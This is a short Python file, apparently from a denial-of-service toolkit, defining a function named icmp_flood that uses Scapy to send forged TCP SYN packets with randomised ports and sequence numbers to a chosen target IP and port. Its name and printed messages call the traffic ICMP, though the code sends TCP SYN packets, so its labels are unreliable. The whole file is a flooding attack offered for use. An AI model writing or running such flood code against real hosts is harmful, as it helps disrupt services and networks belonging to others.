icmp.py
447 Bytes
from scapy.all import IP, TCP, send, RandShort
def icmp_flood(targetIP, targetPORT):
packet = IP(dst=targetIP) / TCP(
dport=targetPORT, flags="S", seq=RandShort(), ack=RandShort(), sport=RandShort()
)
for i in range(4):
try:
send(packet, verbose=False)
except Exception as e:
print(f"Error while sending 'ICMP'\n{e}")
else:
print(f"ICMP packet send to {targetIP}")